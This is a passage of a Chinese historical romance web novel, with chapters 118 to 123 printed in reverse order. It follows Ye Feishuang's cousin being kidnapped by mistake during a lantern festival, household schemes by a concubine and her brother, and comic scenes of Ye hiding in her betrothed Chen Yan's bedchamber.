傅湘语对那小厮说:“我是郑家的人,我们家五姑娘丢了,还请陈家派人帮忙找找!” 小厮也知道那是和自家三公子有婚约的姑娘,立刻道:“这是大事,我得赶紧去禀报老爷和夫人,让主子们安排。” “是呢!”傅湘语强压着喜色,做出担忧的样子来,“还请老太爷和夫人安排人帮忙找找我们五姑娘,可千万不能出了事啊!” 小厮连忙去禀报了。 傅湘语想,姑娘家丢了是丑事。郑家肯定会压着不让陈家知道,所以他们才会求助官府,而不是求助陈家。 估计官府那边也打好招呼了,不让他们说是郑五姑娘丢了。 她偏要把这件事捅到陈家人面前! 哪怕叶绯霜很快就会被找回来,那名节也失了,这桩婚约就彻底没戏了! 傅湘语喜滋滋地准备离开,门房里又出来一个小厮,正是昨天见到她的那个。 小厮这次认识她了,打着哈欠问:“郑五姑娘,您又来看我们三公子?” 傅湘语赶着回客栈等着看叶绯霜的好戏,说:“本来是想去看陈三公子的,但是天色太晚了,还是算了。” 小厮道:“得嘞,那郑五姑娘您慢走。” 宁浔本来只是路过,没打算驻足,被小厮那声“郑五姑娘”生生叫住了。 他看向傅湘语,像是在买一件货品,把她从头到脚、又从脚到头地打量了一遍。 傅湘语自然不认识宁浔,只觉得这个男人的目光很瘆人,像一条阴冷的蛇,缠上了她。 她心下不安,飞快地从对方身边走过。 望着傅湘语的背影,宁浔挺高兴,悠悠道:“真是得来全不费工夫啊。他陈三抢我的人,我就要给他戴一顶绿帽子!” 他给了身边内官一个眼神,对方心领神会,立刻带着人去追傅湘语了。 傅湘语才走出没多远,就被几个跟上来的大汉敲晕带走了。 第123章 抱一抱 叶绯霜和铜宝赶到那处院子时,里边一个人都没有。 “着人去找!务必尽快把这个福泰给我找到!” 要是郑茜静有个三长两短,她非得剥了福泰的皮! 叶绯霜留了两个人在这个小院里等,让他们一有消息就立刻回去禀报,她则又带着铜宝回了客栈。 郑丰还没回来,傅闻达和傅湘语兄妹也不在客栈里。 叶绯霜又让人去找傅氏兄妹。 目前不知道傅氏兄妹和这件事有没有关系,但叶绯霜有种直觉,有。 若他们知道了出事的是郑茜静,只怕比她还要急。 很快,传来一个好消息,福泰找到了。 福泰被押进来的时候还在嚷嚷,说自己是郑五老爷手底下的管事,这些低等的仆从不能对他无礼。 叶绯霜走到他跟前:“你雇的那些人是谁?现在在哪儿?” 福泰看见她,惊呆了:“五姑娘?你怎么会在这里?” “不然我该在哪儿?那些劫匪手里?”叶绯霜冷嗤,“他们劫走的是二姐姐,你知道前四夫人秦氏是怎么死的吗?” 福泰霍然瞪大眼,失声道:“什么?怎么可能!” 怎么会……他已经再三叮嘱不要抓错人了,怎么还是…… 福泰瞧见了叶绯霜身上素白色的银纹袿衣,忽然懂了。那些蠢货,怕是单凭着衣服就抓人了! 福泰的冷汗顷刻间冒了出来。 叶绯霜厉声质问:“说,他们人在哪里!” 福泰双腿一软,跪在了地上:“我和他们约好,事成之后来院子里找我,想必他们就在院子里……” “院子里根本没人,他们没回去。” 福泰面色煞白,唇角剧烈地颤抖着:“没回去……没回去……” 月影冲过来,揪着福泰嘶吼:“你到底从哪里雇的人?他们是什么人!” “他们是顺源镖局的,以前落了草,后来匪帮被剿灭了,他们又从了良……”福泰越说越心虚,砰砰磕起头来,“饶命啊,姑娘饶命啊,小的再也不敢了……” “你能不能联系到他们?尽快把二姑娘救出来,兴许你的狗命还能保住。” 福泰哭丧着脸:“我只和他们约了在小院见面,联系不到他们啊……” 月影的心越来越凉,哭得涕泗横流:“那去他们镖局找行不行?” “他们的镖局在……在金陵啊。他们是收到了我的传信后,才从金陵赶来荥阳的……哎呦……” 一句话还没说完,福泰就被叶绯霜踹翻了。 滔天的怒意,还有对郑茜静的担忧,化成一团焚心的烈火,从心底冒出来,让叶绯霜恨不得宰了这个胆大包天的刁奴。 福泰哭嚷着求饶,一会儿说自己要戴罪立功,一会儿说自己去金陵找人,叶绯霜都没搭理他。 听福泰说,他事前只付了一半的银子。 他和那群匪徒约定,等他们抓到了郑五姑娘,拿人来结剩下的一半。 那群匪徒却没有如约前往小院,要么就是生出了贪心,觉得银子要少了,想涨价,正在待价而沽。 这种情况倒好了。 最糟糕的情况是,人质出事了。 那群匪徒没法交差了,索性剩下的一半银子也不要了,跑路了。 联系着郑茜静那身子骨,受不得累,还受不得惊吓,有时候路边窜过一只猫都能吓得她心悸半天。 叶绯霜简直不敢往下想了。 她刚回郑府就认识郑茜静了,这都快两年了。这段时间,她们一直是相伴着过来的。 郑老太太冤枉她时,是二姐姐帮她说话。 她被发落去别院,二姐姐怕她被欺负,陪她一起。 秦氏对她出手,二姐姐给大夫人传信,请大夫人为她做主。 见她处境不好,想带她回京城,说国公府的人都会对她好。 她们一起玩,一起闹,一起穿红裙子,形如亲姐妹。 叶绯霜越想,越觉得心里绞痛得难受。 她指着福泰,咬牙切齿地说:“我二姐姐少一根头发,我就在你身上剐一刀。若她有个三长两短,你千刀万剐,死不足惜!” 说罢,她拎着枪,往外边冲。 这些人等着就好,她等不住,她要去找二姐姐。 往城外找,往山里找,往金陵找……活要见人死要见尸,她必须找到二姐姐。 出了客栈,和匆匆赶来的陈宴撞了个对面。 陈宴看见她,惊了一下:“叶绯霜,你不是……” 他稍微一想,瞬间明白了:“出事的是二姑娘?” 叶绯霜又气又急又愧,脑子被翻涌的情绪搅成了一团,没有意识到眼泪已经淌了满脸。 陈宴连帕子都没拿,直接用袖子给她擦脸,叶绯霜听见了自己哽咽却冷静的声音:“那个人叫福泰,他……” 她一边哭,一边用最简短精炼的语言把自己目前掌握的信息说了一遍。 “明白了,我马上安排人去找。”陈宴立刻给锦风指了几条追踪的线路后,又特别叮嘱,“此事让我的人去办,切莫惊动府里,更不能让祖父和母亲知道。” 锦风点头:“属下明白。” 他接到的消息是郑五姑娘被劫匪掳走了,要是被陈家长辈知道,怕是要立刻退婚了。 他们不会接受一个被劫匪掳走、清白不明的媳妇的。 “我们等消息。”陈宴用力按了按叶绯霜的肩膀,“相信我,很快会有下落的。” 叶绯霜张口就是一声呜咽:“我担心二姐姐的身体,她……” 她自责得不行:“二姐姐是被我连累了,和那年在张庄别院遇到暴民一样。我不该让她自己回客栈的,我该和她一起,那些人就不会认错了。” 陈宴知道她们姐妹关系好。但他并不知道,前世今生,郑茜静是除了叶绯霜的爹娘养父外,对她最好的人。 两辈子加起来,叶绯霜收到的善意实在太少了,所以郑茜静显得特别可贵。 叶绯霜太难过了,她希望被劫走的是自己,不要连累任何人。 她的泪流得凶,怎么都擦不完似的。 陈宴抱住她,轻轻拍了拍她的后脑,哄道:“郑二姑娘吉人天相,一定会没事的。你若等不住,我陪你出城去找,好不好?” 第122章 她不怕 月影说,她们快走到客栈门口时,旁边的巷子里窜出来几个大汉,直接把郑茜静扛走了。 月影想追,却被一个大汉抡起来狠狠摔在地上,腰差点扭断。 月影哭得不行:“我们姑娘怎么办……她那个身子骨,她什么都经不住啊……” 叶绯霜最担心的也是郑茜静的身体。 虽然这两年是强些了,平日里精神头也好了不少,但到底还是个病秧子。 靳氏急得也落泪:“咱们报官吧!” 月影惊道:“可要是报官,就都知道我们姑娘丢了,我们姑娘的名节就毁了。” 叶绯霜想了想,对铜宝说:“找个人去报官,再找个人去陈府,说郑家的五姑娘丢了,请求他们帮忙找人。” 此话一出,在场之人大惊失色。 靳氏忙道:“霜儿,你这是……” 叶绯霜说:“这里是颍川,一定要请陈家帮忙的。二姐姐的名声不能毁,我不怕别人说。” 靳氏以为她疯了:“你怎么不怕?若是陈家听说你被劫匪劫走了,你还怎么嫁?” 姑娘家家的被绑匪劫走了会发生什么?不用想也知道。 所以姑娘们要是丢了,哪怕几个时辰就找回来了,在旁人眼里也不清白了。 叶绯霜说:“那我就不嫁了,就让陈家拿这个理由和我退婚。二姐姐本就是为我所累,反正我一定要护好二姐姐。” 靳氏一听这话,差点晕过去。 叶绯霜又问:“五叔呢?” 铜宝说:“去长乐坊了。” 长乐坊,颍川最热闹的一个坊,也是花楼聚集地。 “把他叫回来!让他管好郑家人,二姐姐丢了的消息千万不能传出去。” “是。” 叶绯霜说罢,就让铜宝带着她去小院找福泰。 她就搞不懂了,明明冲着她来的,怎么就害到郑茜静头上了?人还能抓错? —— 郑府五房,丫鬟妙儿给二姨娘秋扇端来一盏燕窝。 妙儿说:“这血燕窝价贵,太太那儿都没有呢,老爷买了好些专给姨娘吃,可见老爷最疼姨娘。” 秋扇得意地娇哼一声:“这可是好东西,从南海的北婆罗洲用帆船运来的。我吃了美容养颜,那个黄脸婆吃了也是浪费。” 妙儿忙说:“姨娘青春靓丽,芳龄永驻。” 秋扇满意地说:“属你嘴甜。” 妙儿腼腆一笑。 秋扇忽然发现,妙儿已经长开了,现在眉清目秀,肤白体瘦,很有两分颜色。 要是让郑丰看到…… 秋扇握住妙儿的手,拉着她坐在榻沿,亲热地问:“哎呀,看我,一直忙着家里的事,倒是把你的终身大事给忘了,你有十七了吧?” 妙儿羞涩地点头。 “该配人了,你可有看上谁?只管告诉我,我给你们指婚。” 丫头一般都是配小厮的,要是能配个跟在老爷或者公子们身边的小厮,那就算命好的了。 可谁又想一直当奴才呢?自己是奴才,嫁奴才,生出来的孩子也是奴才。 妙儿揽镜自照时,不觉得自己比五老爷的姨娘们差。 当了姨娘,生了孩子,才能改变世世代代为奴为婢的命。 见妙儿抿唇不语,秋扇就知道她在想什么。 “想翻身是人之常情,但五房人已经够多了,你就算跟了老爷,他新鲜两天就把你忘脑后去了,到时候你该怎么办?想想那些被送人被发卖的姨娘,你愿意和她们一样?” 妙儿跪倒在地:“求姨娘指点。” 秋扇不紧不慢地搅着燕窝:“五房不缺人,但有的是地方缺人。四老爷目前一个妾都还没有,儿子也没有。你若去了四房,生出儿子,那便是四房长子,你还愁翻不了身吗?” 妙儿眼睛登时一亮。 但是想到听到的一些传言,妙儿缩了缩脖子:“听说五姑娘很厉害……她不会愿意的吧?” “她?”秋扇轻蔑地说,“放心,她管不到你头上。” “为何?” 秋扇微笑道:“死人怎么管你呢?” 妙儿呆住。 秋扇涂着鲜红丹蔻的手指点了点桌子:“再去要一盅燕窝,给四老爷送去吧。” 妙儿喜得连连磕头:“多谢姨娘提携。” “你将来有了好日子,别忘了我这旧主就行。” “妙儿会一辈子都感恩姨娘!” 看妙儿欢天喜地地去了,秋扇懒懒地靠回了引枕上。 哥哥那边事一成,老太太的心头大患就除了,说不定一高兴,身子骨就好了,到时候肯定要嘉奖她和哥哥。 等她再把康氏那黄脸婆除了,就求老太太把她扶正。 到时候五房就归她说了算了。 四房的靳氏是个窝囊废,随便就能除掉,妙儿是自己的人,四房相当于也掌握在了她手里。 两房的资产加起来,简直就是十辈子都享受不完的富贵! 秋扇越想越高兴,立刻去佛堂拜观音,希望菩萨保佑她哥哥一切顺利,让他们在老太太跟前立了这大功。 —— 陈宴没有上街凑热闹,他去了客居后边的紫竹林。 竹林里挂着各式各样的花灯,宛如星河坠入竹海。 陈宴慢悠悠地溜达了一会儿,叫来锦风:“让丫头们都来玩吧。” 锦风说:“她们昨天擅离职守,才导致那二位姑娘进了客居,现在正在反省。” “明日再反省也是一样的。” 锦风有些意外。 他家公子对下人们是很随和,但那是建立在他们没犯错的前提下。 对待犯了错的人,他家公子一向十分严厉。 今天怎么如此宽容? 陈宴望着这些灯,不知道想到了什么,轻声说:“都是小姑娘,哪有不爱玩的呢?灯是她们辛苦挂的,忙活了好几天,只给我一个人赏未免可惜,叫她们来玩吧。” 锦风领命去了。 没多久,欢快的脚步声次第响起,伴随着小姑娘们的欢呼。 陈宴从另外一边出了紫竹林,把地方留给了她们。 走了没多远,陈宴看见假山后边隐约有火苗跳跃。 走近一看,是一个丫鬟在偷偷烧纸。 丫鬟听见有人靠近,扭头一看,吓得脸都白了:“三公子!” “冬烟。”陈宴叫出了她的名字。 冬烟落下泪来:“公子还记得奴婢。” 陈宴想了想:“你在祭奠你姐姐?” 冬烟哽咽着点头。 陈宴没说什么私烧纸钱不吉利的话,而是走到火堆边,蹲下,从篮子里拿出几张纸钱,扔进了火盆里。 跳跃的火苗映照着他清俊的脸,冬烟用力捂住嘴,才不让自己嚎啕大哭。 “若是姐姐知道公子还记得她,她泉下有知,或许也会安慰一些……”冬烟忽然意识到自己不该说这种话,慌得连连磕头,“奴婢失言,奴婢失言!” “在客居伺候过的人我都记得。”陈宴站起身来,“烧完就回吧,记得收拾干净。” 陈宴记得,冬烟的姐姐比他还大一些,是陈夫人安排进客居,给他做通房的。 他没收通房,那个丫鬟在客居当了两年普通丫鬟,后来因为被偷盗赶了出去,没几天就投井自尽了。 陈宴绕回客居门口,见锦风匆匆而来,低声道:“公子,不好了,郑五姑娘被劫走了!” 第121章 动手了 叶绯霜一夜没睡,陈宴亦然。 天光大亮,客居的下人们忙活了起来。 陈宴让人把洗漱的水、饭食放在外间,没让人进来。 叶绯霜稍微打理了一下自己,吃了两口饭,然后等着郑家人来,自己好跟着蒙混出去。 还是白天好,和陈宴共处一室也没那么别扭了。 陈宴看了一眼叶绯霜身上的白色袿衣,说:“第一次见你穿这个颜色。” “嗯,我娘为我换的,给你奔……冲喜。” 陈宴再次想起梦里那个女子,也是一身素裳。 难道真的不是叶绯霜?她绝对不会那么打扮的。 人的品位真的很难改,就像他,永远不会穿红着绿。 而叶绯霜,也永远一袭热烈的红裙。 ……看来梦里的人是赵芳菲无疑了。 他竟然和赵芳菲这样那样? 陈宴有些如鲠在喉。 他清了下嗓子,转而问:“你生辰时我送你的那匹月华锦,裁衣裳了吗?” “裁了啊,那么好的料子,不裁衣裳光放着多可惜。” 不过不是给她自己裁的,是给郑茜静裁的。 郑茜静可喜欢了,过年就穿了,这次出门还带上了。 陈宴觉得好受了一些,送出去的东西总算有能被接受的了。 一直等到下午,郑家人总算来了。 寒暄了半天,离开的时候天都快黑了。 今天是上元节,街上有花灯会,特别热闹。 叶绯霜乐观地想,幸好卢季同是昨天带她去的陈府,要是今天去,耽误了她看花灯,那才是得不偿失。 刚到客栈门口,就遇见了郑茜静一行人。 “霜霜,你回来得正好!走,咱们看灯去!” “我得去收拾一下,沐浴换衣服。” “哎呀,换什么,回来再换。”郑茜静挽住她,“花灯巡游要开始了,要是再晚,就站不到前边了,什么都看不到了!” 叶绯霜只得跟着她们上了街。 郑茜静又说:“不知道傅湘语怎么了,哭了一天了。” 叶绯霜平静地说:“可能被陈宴和赵芳菲的感情感动了吧。” “你见到赵三娘了?” “嗯。” “真的那么漂亮吗?” “真的。”叶绯霜点头,“是个大美人!” 此时的客栈里,傅闻达端了饭菜去傅湘语房间。 他对哭了一天的妹妹说:“多少吃点东西,不然身子怎么受得住。” “哥哥,他真的喜欢那个赵三娘。”傅湘语哽咽着说,“即便知道她只能做妾,我也难受。” 谁乐意看着自己的郎君喜欢旁的女子呢? 世上专宠妾室、冷待正室的男人还少吗? 他们五舅舅、郑家的五老爷郑丰,不就是个活生生的例子吗? 傅闻达耐心劝慰道:“你现在的对手不是赵芳菲。你先嫁给陈宴,再去争取他的喜欢。” 傅湘语擦了擦泪,把叶绯霜说她是个赝品的事给傅闻达讲了一遍。 傅闻达说:“你不需要在意这个,即便真的有这个人,她也已经死了,你不需要和死人争。” 傅湘语伤心地说:“我也争不过死人啊。” 傅闻达压低声音,告诉了傅湘语一个好消息:“福泰已经准备动手了,就在今晚。” 傅湘语一喜:“真的?” 傅闻达点头:“今晚的花灯会是个好机会,人多眼杂,定会让叶绯霜有去无回!” —— 一个不起眼的小院里,一群大老爷们正在喝酒。 主位上坐着一个中年男人,肤色黝黑,皮肤粗粝,穿着一身不错的衣袍,一看就是大户人家的豪仆。 如果叶绯霜在这里的话,她就会认出这个人正是铜宝告诉过她的,五房秋姨娘的哥哥,福泰。 福泰扫了一眼房中的汉子们:“差不多就行了,该动手了。” 几个汉子从凳子下抽出长刀,在刀上喷了几口酒。 “福管事,你就在这儿等着吧。”一个络腮胡汉子说,“用不了一个时辰,咱们铁定就能抓到那郑五姑娘,好来和你结剩下的银子。” “别掉以轻心,我妹妹说了,那五姑娘是个练家子,有两下子的。” 络腮胡哈哈大笑起来:“一个小丫头片子而已,两下子能有几下子?” 福泰翘着腿,往椅子里一靠:“那我就在这儿等着各位的好消息了。再看看画像,记记长相,千万别抓错人了。” 络腮胡不耐烦地摆摆手:“记住了记住了,你早说过了嘛,穿红衣裳的!” 等人都出去了,福泰点了水烟袋,悠闲地抽起来。 他妹子和他说,这五姑娘害死了四夫人,还害得老太太中了风,竟然还在鼎福居和郑府的侍卫们动过手。 太夸张了,这怎么可能。 福泰这些年走南闯北,见惯了以讹传讹的话,屁大点事让几张嘴一传,就成了天大的事了。 那五姑娘可能有点小手段,但也不过是个小丫头片子罢了。 他们一家子受了老太太的恩,就让他福泰来替老太太除了这个心头大患吧。 福泰美滋滋地想:“到时候就拿这五姑娘的人头讨好老太太,让五老爷给我们一家子放良。我妹子有了儿子,正头夫人也是当得的。哎呀,那我们一家子就彻底翻身了啊,以后一辈子荣华富贵享之不尽。” 福泰闭上眼,哼着小曲,做起了美梦。 此时的叶绯霜正和郑茜静一起,看着热闹的花灯巡游。 长长的队伍,各式各样的漂亮花灯,看得人目不暇接。 “真好看,不比京城的差呢!”郑茜静高兴地说。 “我听说金陵那边会放天灯,把好多好多孔明灯一起放上天,像星星一样。还有一个特别大的孔明灯,听说能把人带的飞起来呢。” 郑茜静瞪大眼:“真的呀?” 叶绯霜点头,前世的陈宴就是这么给她讲的,她听得目瞪口呆。 这一世她一定要去看一看。 铜宝忽然挤到了叶绯霜身边,低声说:“有人看到福泰去了一个小院,院中还有几个大汉。他们具体谈了什么不清楚,但那几个大汉看起来不是善茬。” 叶绯霜神情严肃起来:“我知道了。” 郑茜静问:“怎么了?” “咱们出来有一会儿了,要不二姐姐你先回去?” 郑茜静也确实有些累了,点头:“好。” 客栈就在不远处,郑茜静让叶绯霜继续玩,她和月影回去就行。 叶绯霜也怕连累到郑茜静,没再跟她一起。 福泰肯定是冲着她来的。 几个不是善茬的大汉,很有可能是买凶杀人。 为此,叶绯霜还特意走到了一条僻静的巷子里,好给那群人下手的机会。 可是她等来等去,都没等到人来。 铜宝也懵了,难道他误会福泰了? 叶绯霜一头雾水地回了客栈,被一个噩耗砸了一脸: 郑茜静被人劫走了。 第120章 走不了 叶绯霜现在整个人就像一桶一点就着的火药,陈宴丝毫不怀疑下一刻她就要从客居杀出去。 他拍了拍床榻,说:“你上来,我下去。” 不必像刚才那样躲,叶绯霜的烦躁感轻了一点。 陈宴把最外边的一层深色床帐也放下,结结实实地掩住了叶绯霜的身影。 刚弄好,陈文益就进来了。 本以为陈宴会卧床不起,乍然见他能动,陈文益还有些讶异:“我听说你突然晕厥,现在又好了?” 陈宴走到桌边,请陈文益坐:“无甚大碍,让祖父担心了。” 陈文益松了口气,一直提在嗓子眼的心也终于落回了原处。 瞥了一眼不孝孙,见他这些时日消瘦不少,脸色苍白,有种扶风弱柳的羸弱之态。 到底是被自己打成这样的,陈文益轻咳一声,有些心虚。 陈家子孙众多,唯有陈宴是陈文益亲自教养长大的,他祖孙二人的关系自然也最亲厚。 陈文益干巴巴地和陈宴说了几句家常,转而道:“国子监裘祭酒又来信了,问你什么时候可以上京。” “孙儿已经说过了,不去国子监。” “你嫌那里学风不好,不去也罢。”陈文益道,“如果不加恩科,下次春闱在后年。中间这两年时间,你有什么打算?准备去游历吗?” 叶绯霜听到“游历”二字,眼睛亮了。 游历诶……可以天南地北到处跑,见识各个地方不一样的风土人情,多好玩啊。 唉,她要是个男儿就好了,就能名正言顺地去游历了。 陈宴道:“孙儿正在思量。” “你仔细考虑,游历增长的见识和你书本上学到的不一样,对你会试有益。” 陈文益又同陈宴说了些族内的事,还好没有什么密辛,被迫听到的叶绯霜不用担心自己被灭口。 陈文益走之前说:“我带了几个人来,留在外边供你使唤。” 陈宴道:“客居的人手够了。” 陈文益拉着脸:“一群饭桶,若是顶用,能让你晕过去?就当我把人借你几天,也好调教调教你这里的人。等你好了,我再叫他们回去。” “孙儿不喜人多。” “他们只办事不说话,不会吵你,比你手底下那些强多了。” 陈文益都这么说了,再拒绝就不合适了。 陈文益留下四个人,两男两女,都是陈府用惯了的老仆,精明能干。 陈文益一走,叶绯霜立刻从床上下来。 陈宴遗憾地说:“今天你恐怕走不了了。” 叶绯霜看了一眼外边的人影,低声道:“你把他们调走,我就出去了。” “他们不会同时离开,至少有两个人会留在我门口,供我差遣。” 叶绯霜无语了:“那我什么时候能走?” “明日郑家人过来,你和他们一起离开。” 好像也只能这样了。她总不能真闯出去,那就真一万张嘴也说不清了。 可恶的卢季同,把她骗得好惨。 陈晏迟疑地问:“刚才……” “你拽着我不放,我没能走了。你母亲又来了,我总不能让她看见,只能躲到你床上去了。” 陈晏抿唇:“对不住。” 叶绯霜摆了摆手:“不说了。” 幸好陈宴这房间够大,叶绯霜不必和他脸对脸。 她去了外间,坐在窗边的榻上,又挪来一个屏风挡住,以防有人进来看见自己。 等她忙完,陈宴问:“你可要去沐浴?” “不去。” 汗湿重衣是很难受,但在他的地盘沐浴更让人无法接受。 陈宴说:“后边有汤池。” 大户人家都会往家里引温泉。郑府也有,当初郑家先祖选择在那里建府就是看上了那里的汤泉。 现在她和爹娘住的玉琅阁里边就有一个很大的汤池。 郑茜静回老宅养病,也是为了府里的温泉,让她冬日能好受不少。 叶绯霜摇头:“我不用。” 于是陈宴去了。 陈宴靠在汉白玉砌成的池子里,回想刚才做的梦。 梦里无论如何都看不清脸的女子,是叶绯霜吗? 梦里的场景怪怪的,有点过于简陋了,不像世家妇该有的居所。 那个女子一身素裳,也不是叶绯霜会有的打扮。 可是他和那女子很恩爱,不是她又会是谁? 总不能是傅湘语吧? 不会,他不至于给傅湘语取一个“霏霏”的小字。 一定是叶绯霜,他如此告诉自己。 陈宴沐浴完,换好衣服,神清气爽地回去时,看见叶绯霜正趺坐在榻上打坐。 说是打坐,其实养气更合适。 文人讲究养气功夫,习武之人也讲究,叶绯霜今天的气实在太不顺了。 把那股烦躁感彻底压下去,终于不出汗了,叶绯霜睁开眼,见陈宴在看她。 “怎么了?”她平心静气地问。 “你有没有小字?” “霜霜,阿霜,霜儿,怎么叫我的都有。” “有没有人叫你绯绯?” 这一世还真没有,叶绯霜平静地回答:“没有。这样叫赵姑娘的比较多吧?” 赵芳菲? 陈宴眉头微微一皱。 赵芳菲是什么想法他不是不知道,难道他梦里的那个人,其实是赵芳菲? 菲菲,霏霏? 是了,梦里场景那么简陋,但要说那是妾室的房间,也勉强说得过去。 叶绯霜无论如何都不会是他的妾室。 那只能是别人了。 所以他前世,纳了不止一个妾?! 他宠妾灭妻,宠的不是傅湘语,是赵芳菲? 陈宴被这个假设哽了一下,心绪无比复杂,感到前世的自己十分陌生。 叶绯霜闭上眼睛,看似平静地继续打坐,实则心里很疑惑,他忽然问自己的小字干什么? 房间里十分安静,但两人心里各有各的迷惑,一时间无人再说话。 另一头,陈文益离开客居后,有个下人跑来低声说了几句话。 陈文益老眼一瞪:“你说卢四小子带了郑氏女来看清言?” 下人点头:“是,不过郑五姑娘已经走了。” 陈文益胡子翘了翘,不满地说:“哼,不成体统!” 儿媳说的还真没错,那郑氏女果然是个没有规矩的人!哪有独自一个人来看郎君的,探病也不行! 此时的傅湘语,正在陈府里打转。 她是被带着进来的,却没人带她出去,而陈府又太大了,她又哭得头晕脑胀,走着走着就迷路了。 冷不丁听见一声低喝:“什么人!” 傅湘语吓得一个激灵。 两盏灯举起来,照亮了她的脸,傅湘语也看清了对面那个老头子。 提灯的嬷嬷打量了一下她,觉得她装扮不像丫鬟,于是问:“你是哪房的姑娘?怎么没见过?” 傅湘语哭得打嗝,断断续续地说:“我、是郑、郑……” 陈文益眯起眼:“郑氏五女?” 傅湘语惊疑不定,下意识点头。 陈文益盯着她看了两眼,对嬷嬷说:“送她出去。” 嬷嬷被她的身份惊呆了,郑家五姑娘,那不是她家三公子的…… 陈文益摇了摇头,回自己的院子。 “唉。”他长长地叹气,喃喃,“教他习文,教他练武,教他做人,就是没教他看姑娘,眼光差得很。” 第119章 不光彩 叶绯霜惊了个大呆,陈夫人来了?这这这…… 她用力甩陈宴的手,着急地声音都变了:“放开,你赶紧给我放开!” 任凭她怎么甩、怎么晃,陈宴的手就和长在了她手腕上似的。 叶绯霜一脑门子的汗,也不知道是热的还是惊的。 陈夫人看见这一幕,会怎么想? ——深更半夜,私闯陈府,来人,给我就地正法! ——我儿子拽着你不放?呵,你不勾引他,他会拽着你不放吗?来人,给我剁了她的爪子! ——你没有勾引他?那你为何会深更半夜出现在他的房间里?郑家人今天都还没登门呢!来人,给我打断她的腿! ——卢季同骗你来的?不知廉耻,还妄图拉他人下水!来人,给我割了她的舌头! “你赶紧放开!”叶绯霜沉浸在自己的幻想中无法自拔,“我都要被你娘五马分尸了!” 她该躲到哪里? 床底下?实的。 房梁上?上不去。 柜子里?太远了。 房门被推开的一瞬间,叶绯霜爬到了床上,躲在里侧,用被子把自己蒙了起来。 锦风也被陈夫人的突然驾临打了个措手不及,劝阻她进来无果后,心也提到了嗓子眼。 门推开的一刹那,他都绝望了,怀疑自己的脑袋下一刻就要落地。 没有听见什么疑惑惊呼,他把眼睛悄悄眯开一条缝,那郑五姑娘已经不见了,只有垂落的床帐,隐约掩映着陈宴的身形。 陈宴做了个梦。 梦里,他在抚琴。 “郎君弹得真好。”身边的姑娘夸赞他,“这曲子叫什么呀?” 他转头,只能看到她的黑发、素裳,纤盈的轮廓。 他甚至知道她在笑,但他就是看不清她的脸。 “是《采薇》。”他回答。 她欢呼起来:“这个我知道!是诗经里的一首诗!不过诗为什么可以弹出来呢?郎君你谱的曲吗?” “不是,别人谱的。” “噢,那人真厉害,可真好听。” 他沉默了一会儿,才说:“是,她很厉害。” “唉,可惜我不会弹琴,否则我也要学一学这首曲子。如果可以有人教我弹琴,那该多好啊。” 身边的人说这话时一直在悄悄瞟他,意思很明显,想让他教她。 但他偏偏没有回应她的暗示,反而说:“我给你取个小字吧。” 她失落了一瞬,又开心地问:“好呀,郎君想叫我什么?” “霏霏。” “可以呀,我名字里的绯吗?” “不是,是‘今我来思,雨雪霏霏’的霏霏。” “念出来是一样的呀,为什么要选不同的字?” 他说:“我叫你的时候,旁人都以为是绯绯,但我叫的是霏霏。这是只有我和你知道的秘密。” “哦?嗯……好吧,只要郎君喜欢,叫我什么都可以。”她笑嘻嘻地凑过来,“郎君,你叫我一声?” “霏霏。” “哎!” 她答应完就笑了起来,仿佛他给的一个小字,于她而言就是天大的喜事。 她扑进他怀里,搂着他的脖子,缠着他不停叫她。 叫着叫着就变了味儿,两个字变得旖旎又暧昧,逐渐被唇舌吞噬。 越来越热,好似着了火。 梦中的欲火逐渐变成了现实的滚烫,陈宴醒了过来。 汗湿眼睫,头脑晕沉,坐在床边的人关切地问:“清言,你醒了?还好吗?” 陈宴轻轻眨了眨眼,看清了陈夫人担忧的面容。 “娘亲。” 他刚想撑着身体坐起来,却忽然一僵—— 被子里有人拽了他一把。 陈宴心口陡然一紧,惊疑和不解涌入脑中,但手还是下意识地抓住了下滑的锦被,并且往上拽了拽。 另一只手在被子里边动了动,碰到一片柔软、滑腻。 他不确定到底是人还是什么其它活物,又摸了摸。 手背被狠狠掐了一下,他没忍住“嘶”了一声。 陈夫人忙问:“怎么了?身上又疼了?” 陈宴这下确定,是人。 为什么会有人在他的床上? 床!上! 他压下心口的惊涛骇浪,镇定地说:“不小心扯了一下背上的伤,没事。” 陈夫人心疼得不行,摸出帕子给他擦汗,埋怨:“看你以后还折腾吗?要是再有下次,你也别回来了,我不想给你收尸。” “让娘亲担心,是儿不孝。” “怎么一直出汗?是不是太热了?”陈夫人说,“热就别盖被子了,别再闷坏了。” 她说着就要把陈宴的被子扯下来,陈宴一把拽住:“不热。” 陈夫人觉得他有点不对劲:“你……” “盗汗,儿子畏冷。” 人高热的时候是怕冷,陈夫人又心疼得不行,开始埋怨他。 陈宴的手又被人掐了两下。 莫名的,他能理解对方的意思,立刻说:“儿子没事了,母亲回去休息吧,儿子也想睡了。” 陈夫人不敢打扰他休息,忙说:“那我明日再来看你。府医就在偏厅守着,你要是有不舒服立刻叫人啊,别自己撑着。” “是。” 陈夫人离开了,房门刚关上,被子就一把被掀开了。 差点被憋死的叶绯霜大口大口地呼吸。 这该死的房间本来就热得不行,她在里边闷了半天,现在汗如雨下,头发都贴在了脸上。 她一双眼睛就和水洗过似的,亮得出奇,拿一种“我要宰了你”的眼神,恶狠狠地瞪着陈宴。 拽着她不让走,还在被子里摸她的脸! 看见是她,陈宴有些错愕,又有些“还好不是旁人”的庆幸。 “你怎么在……我床上?”陈宴问。 叶绯霜差点憋疯,抱起被子砸向他:“你还有脸问!” 陈宴只记得她来看自己了,然后自己把她带进了屋里,后边的就不知道了。 不过他很清楚,他是个病号,她又还小,他绝对不会对她产生什么乱七八糟的想法。 但叶绯霜是绝对不会爬他的床的。 自己也不会把她带上来。 为何会是如此情形? 叶绯霜脑子一阵阵发晕,不知道是热的还是气的。 她真的很想杀了陈宴,反正她今天的打扮也挺适合给人奔丧的。 但理智战胜了冲动,陈家暗卫不是开玩笑的。她想奔丧,不想陪葬。 叶绯霜捋了一把乱糟糟的头发,压下怒火,下床走人。 陈宴有些不知所措,他从没面对过这样的场景,不知道该怎么办。 下意识又抓住了她的手腕。 叶绯霜就和只炸了毛的猫似的,差点蹦起来:“陈宴,你没完了?” 院中传来锦风的大声通报:“公子,老太爷来了!” 叶绯霜:“………………” 不止是他没完了。 他们陈家人都没完了。 陈宴试探着问:“要么……你再躲一下?” 叶绯霜死死瞪着他。 陈宴指了指她,又指了指自己:“你我这幅尊荣……实在不太光彩。” 第118章 不放手 房门一关,叶绯霜就被陈宴按在了门板上。 